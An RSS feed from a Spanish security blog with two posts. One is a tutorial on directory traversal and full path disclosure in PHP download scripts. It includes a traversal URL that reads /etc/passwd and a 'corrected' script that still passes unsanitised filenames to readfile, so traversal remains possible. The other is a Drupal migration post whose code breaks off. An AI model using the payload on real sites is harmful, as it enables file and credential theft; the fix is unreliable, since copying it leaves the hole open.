<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; php</title>
	<atom:link href="http://blog.zerial.org/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Cómo validar correctamente la descarga de un archivo en php</title>
		<link>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/</link>
		<comments>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:10:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1009</guid>
		<description><![CDATA[Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma [...]]]></description>
			<content:encoded><![CDATA[<p>Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo <strong>download.php?dir=ficheros/&amp;file=test.pdf</strong>.</p>
<p><img class="aligncenter size-full wp-image-1010" title="secure" src="http://blog.zerial.org/wp-content/uploads/2009/10/secure.png" alt="secure" width="419" height="122" /></p>
<p>Con una URL de este tipo, es posible forzar un FPD modificando las variables &#8220;dir&#8221; y &#8220;test&#8221;, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable &#8220;dir&#8221; a &#8220;../../../../../../etc/&#8221; y &#8220;file&#8221; a &#8220;passwd&#8221;, es muy probable que nos deje descargar el fichero <em>/etc/passwd</em>, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.</p>
<p><span id="more-1009"></span></p>
<p>Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$enlace</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;folder&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:</p>
<p>Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable &#8220;nombre&#8221; y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros <strong>folder=archivos/&#038;archivo=test.pdf</strong>, el valor de la variable $enlace será &#8220;archivos/test.pdf&#8221;. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene <strong>ninguna</strong> validación.</p>
<p>La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.<br />
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$folder</span> = <span class="st0">&quot;archivos_para_descargar&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re0">$enlace</span> = <span class="re0">$folder</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>De esta forma, jamás podremos cambiar el valor de la variable &#8220;$folder&#8221; y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido &#8220;archivos_para_descarga&#8221;. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un &#8220;administrador&#8221; de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (<em>http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf</em>).</p>
<p>Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario <em>www-data</em> o <em>apache</em> (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;linkname=C%C3%B3mo%20validar%20correctamente%20la%20descarga%20de%20un%20archivo%20en%20php">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Migración de datos en Drupal</title>
		<link>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/</link>
		<comments>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:25:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[drupal 6]]></category>
		<category><![CDATA[migracion]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plataformas]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=926</guid>
		<description><![CDATA[Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc. La idea de este artículo es [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-986 alignleft" style="margin: 5px;" title="drupal_migra" src="http://blog.zerial.org/wp-content/uploads/2009/10/drupal_migra.jpg" alt="drupal_migra" width="80" height="104" /> <a href="http://drupal.org" target="_blank">Drupal</a> 6 nos provee de una <a href="http://api.drupal.org" target="_blank">API</a> que nos permitirá trabajar directamente con el <em>core</em>, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los <em>hooks</em>, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.<br />
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.</p>
<p><span id="more-926"></span></p>
<p>Las funciones que necesitamos de la API de Drupal son:</p>
<ol>
<li><strong><a href="http://api.drupal.org/api/function/user_save/6" target="_blank">user_save()</a></strong>: Permite la manipulación de los usuarios.</li>
<li><strong><a href="http://api.drupal.org/api/function/node_save/6" target="_blank">node_save()</a></strong>: Manipulación de los nodos (contenidos).</li>
<li><strong><a href="http://api.drupal.org/api/function/db_query/6" target="_blank">db_query()</a></strong>: Nos permite realizar consultas a la base de datos usando la configuración de Drupal.</li>
</ol>
<p>Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un &#8220;wrapper&#8221; que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla <strong>usuarios</strong> con los tipicos campos <em>nombre, email, usuario, password</em>, en Drupal la estructura de la tabla <em>{users}</em> es similar, contiene los campos <em>email, name y pass</em> (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un <strong>SELECT email, password, usuario FROM usuarios</strong> y hacer que cada registro que lea, lo inserte en la tabla <em>{users}</em> mediante la API (función user_save()).<br />
Ejemplo:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$var1</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT email,password,usuario FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$data</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$var1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="re0">$userdata</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;usuario&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$userdata</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo <em>userdata</em> el valor <strong>$data['password']</strong> a la variable <em>pass</em>. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave <em>fake</em>, por ejemplo <strong>123456</strong> y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).</p>
<p>Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función <em>node_save</em>.<br />
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (<strong>no lo recomiendo</strong>).</p>
<p>Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/chdir"><span class="kw3">chdir</span></a><span class="br0">&#40;</span><span class="st0">&quot;api/&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include_once</span> <span class="st0">&#8216;api/includes/bootstrap.inc&#8217;</span>;</div>
</li>
<li class="li2">
<div class="de2">drupal_bootstrap<span class="br0">&#40;</span>DRUPAL_BOOTSTRAP_FULL<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">class</span> Drupal<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$user</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="re0">$id_uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="re0">$counter</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">&#8216;users&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;news&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">clearDatabase</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> clearDatabase<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_queries</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;users&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_users WHERE name != <span class="es0">\&#8217;</span>admin<span class="es0">\&#8217;</span> AND name != <span class="es0">\&#8217;</span>asdf<span class="es0">\&#8217;</span>&#8216;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;nodes&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_node WHERE type NOT IN (<span class="es0">\&#8217;</span>intro<span class="es0">\&#8217;</span>, <span class="es0">\&#8217;</span>adminpage<span class="es0">\&#8217;</span>)&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_comments&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms_rel&#8217; =&gt; &#8216;DELETE FROM dp_term_node&#8217;,</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms&#8217; =&gt; &#8216;DELETE FROM dp_term_data WHERE tid NOT IN (3, 6)&#8217;,</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_uid&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_uid&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_ancestry&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_ancestry&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_notifications&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_notifications&#8217;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting_country&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting_country&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_queries</span> <span class="kw1">as</span> <span class="re0">$query</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createUser<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar_base_path</span> = <span class="st0">&quot;sites/default/files/pictures/&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar</span> = <span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;usuarioSinAV.jpg&quot;</span><span class="br0">&#41;</span>?<span class="kw2">NULL</span>:<span class="re0">$_avatar_base_path</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
